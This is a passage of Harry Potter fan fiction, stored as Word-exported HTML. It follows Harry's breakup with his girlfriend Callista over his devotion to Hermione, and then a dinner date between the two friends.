style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione smiled. &#8220;Those girls were madly sane , Harry. You would\ncome home early just to keep me company and you actually told them!. I\nunderstand those girls and I cant help but apologize.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You don&#8217;t have to apologize, they&#8217;re selfish prats&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She turned away. &#8220;I remember that day, you were with her\nintimately , kissing , touching , both of you practically half naked but when I\nwalked in with a tea red face and sobbing like hell , you actually stopped in\nfront of her to console me. She looked at us with that face, I mean , I still\nremember those features, completely dismayed , I&#8217;m sorry , Harry , I&#8217;m sorry\nfor everything&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:59.25pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Please don&#8217;t , Hermione , please stop apologizing , what was done\nhas been done . I love you, more than a sister can love a brother , more than a\nmother could her sons , I love you, you&#8217;re my everything, they don&#8217;t understand\nand remember, I&#8217;d rather lose a million girl friends, rather than lose you&#8221;\nwhile touching her bare arm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShe couldn&#8217;t look at him at that moment, knowing that he had suffered so many\nheart breaks because of her, knowing that she had suffered so many ominous\nmoments because of him , knowing that they love each other more than life\nitself. He touched her nape, making her squint at his collision , his hands\ntraveled towards the small of her back , she gasped silently, both his hands\nspread across her waist and pulled Hermione towards himself. Bringing his rosy\nlips towards her neck, her sensitive area, he kissed it affectionately,\nHermione giggled &#8220;Harry!&#8221;. He grinned and began to kiss it even more, small\nkisses trailing across her bare neck , she let out a high pitched scream. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAs the jubilant pair enjoyed being with each other, they didn&#8217;t notice the\ndoorknob turning, a female voice sounded , Hermions and Harry turned to look\nwith his arms still around her. He looked up and immediately let go off\nHermione , her features changed drastically , from that broad smile to an\napologetic look. She looked at Harry and mouthed &#8220;sorry&#8221; , while walking to her\nown room. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe watched as she walked away reluctantly, he&nbsp; turned his gaze towards the\nperturbed girl standing in front of him. She glared at him which persevered\ninto a tight slap across his face, he looked up at her without even breathing a\nword.-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How dare you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There was nothing going on&#8221; he said phlegmatically. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t play games with me, Harry. I know what&#8217;s going on and if\nyou were to say that we&#8217;re just friends, I don&#8217;t love her or she means nothing\nto me I would understand but you never said anything like that&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s just it! She means the world to me, she&#8217;s my best friend!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, I admire your honesty but in the process your hurting a\nlot of people&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You all don&#8217;t understand&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I do understand , you love her, she means the world to you but I\ncant help but feel you love her more than me&#8221;<br>\n<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s because I do, god damn it , Callista , I&#8217;ve known her\npractically all my life and I&#8217;ve only been dating you for 3 months&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:99.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At this revolution, tears began to stream from Callista&#8217;s eyes ,\nshe covered her mouth with her bare hand and ran out of the room. Harry groaned\nand started for her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Callista!&#8221; he screamed. With only a few inches in between the\ntwo, Harry reached out and grabbed her elbow, pulling her to a halt. Her whole\nface was red and warm with a nose to match, both of them were breathing heavily\n. :-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Callista&#8221; he managed to say.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m sorry, please don&#8217;t go&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What are you sorry for anyway?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He didn&#8217;t reply. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;See, you don&#8217;t bloody well know what you did wrong. I&#8217;ll tell\nyou. This was what you did wrong with the other girls, you put her first,\nbefore your life, before your lovers. You put her first&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Again, censorship filled the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potter, you really are screwed&#8221; she walked away. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He sighed. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked back to his apartment, wanting to talk to his best friend but as\nhe arrived , his best friend was leaving. With a black robe , white shirt and\nkhaki pants with her brown curls held up , it was obvious she didn&#8217;t try hard. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">{not this one too} </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He coughed faintly, trying to get Hermione&#8217;s attention, she jumped\n, he smirked . Although his tone was serious and cool but Hermione could detect\na cinch of&nbsp; pain :-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where you going?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I-I &#8230;&#8230; needed to go to the library &#8220; she stuttered. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh&#8221; he riposte. and walked inside . </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mr. Potter, you make life so hard at times&#8221; she muttered. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;She was about to turn on her heel when Harry&#8217;s head probed\nout the door. :-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dinner at Fidelle&#8217;s later?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m not sure, I need to do a lot of research &#8220;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He pleaded with her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll see&#8221; and she walked off . </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nShe walked with an umbrella leaned against her right shoulder, covering her\nwhole body , she looked at the serene rain drops hitting the cold hard ground.\nHer gawk moved from the faculty buildings to plants. Suddenly her Sihircakap\nrang, (a/n : a cell phone&nbsp; for witches) she looked at the LCD screen and\nsmiled &#8211;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8221; while answering the phone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where are you?&#8221; he asked</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;At College, enjoying the rain&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How pneumonic&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione suddenly stepped in a puddle and it splashed across her\nblack robe . </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;AAHHH!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s wrong?&#8221; Harry dropped his quill. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My robe&#8217;s wet!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;God, Herm, I thought it was something important&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My robe is important!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Right&#8230;..&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potter! If you just called me be a prat , I&#8217;m hanging up&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;NO! don&#8217;t, I wanted to ask you about dinner&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You don&#8217;t give up very easily , do you Mr. Potter? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not particularly , Ms. Granger&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Like I said , I have to do a lot of research&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Please, Hermi&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:.5in">&#8220;We&#8217;ll see&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;HERM!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But I&#8217;m too lazy to play Barbie doll today&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let&#8217;s play Kenya then&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You don&#8217;t have to dress up, Herm, it&#8217;s Fidelle&#8217;s , they&#8217;ve seen\nyou hammered , blown, high and soaked&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t remind me&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Please come with me&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">&#8220;Oh ,fine. Meet me there at 8 pm sharp&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">Harry smiled. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntab-stops:189.0pt">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp; Harry studied his watch,&nbsp; 8:21 pm , {where is she} , he\nshifted in his seat , moved his gaze towards the door. No sign of&nbsp;\nHermione. He looked down and when he looked up, there she was. Sweat filled her\ntemples , mascara running down her eyelids but as he watched her, to know that\nshe was rushing for him, no one could have looked more beautiful. She headed\ntowards Harry , taking a seat opposite him, she noticed Harry&#8217;s gawk:-</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;What?&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Nothing&#8221;\nhe realized what he was doing. </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;It&#8217;s\nmy make up , isn&#8217;t it?&#8221; while pulling out a pocket mirror.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">Harry\nwas about to protest until she shrieked silently .</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Oh,\nmy god! I look horrible. Why didn&#8217;t you tell me? I&#8217;m surprised you didn&#8217;t run\naway screaming&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">Harry\nsighed while taking his hands in hers.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;You\nlook gorgeous&#8221; </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">She\nsuddenly stopped talking and smiled at her best friend but she quickly retorted\n:-</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Only\nin your eyes . I&#8217;m going to the ladies&#8217; room&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">He\nsighed as she walked off. Harry gaped at her outfit, a cream dress with a black\nscarf wrapped tightly around her neck. </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">{And\nI thought she didn&#8217;t want to play Barbie}</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">**</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp; Hermione had been gone for two minutes and girls had already approached\nHarry. He smiled charmingly at each one of them , muttering &#8220;Hermione, where\nare you&#8221; under his breath. Thumping his feet sternly against the carpet while\ntrying to avoid flirting with another aficionado of his , he excused himself\nand headed towards the ladies room. He quickly studied the surroundings and\npushed himself inside. </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Harry?&#8221;\nHermione asked while looking at his reflection.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Yeah&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;What\nare you doing here?&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;I\nhad to come in, the girls kept zooming in on me. It was such an enigma to ever\nget here&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;What\nabout the little boy&#8217;s room?&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;What\nabout male fans?&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Better\noff&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Only\nfor you&#8221; </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">A\ngroup of girls started to bang on the door. Harry gulped.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;HERMI!&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;Fine,\nlet&#8217;s go.&#8221; while smacking her lips.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThey exited the room together while Harry held Hermione&#8217;s hand tightly . A\nfemale hand started to crawl up his pants and he flinched . Hermione noticed.\nShe looked at the brunette &#8220;Sorry, ladies , his mine&#8221;. she said icily. </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">(Aloof.\nuncaring. ice princess) </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">**</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;\nThe both were seated , enjoying their dinner , laughing , talking , barely\ntouching each other&#8217;s arms. :-</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;I\nmean seriously, when that girl started to touch me , I was anything but\naroused.&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">Hermione\nthrew her head back in laughed while her curly hair fell below her lips, Harry\nnoticed this. </p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;You\ndo know how to solve all this&#8221; she giggled.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in .5in">&#8220;How?&#8221;</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:center 0in 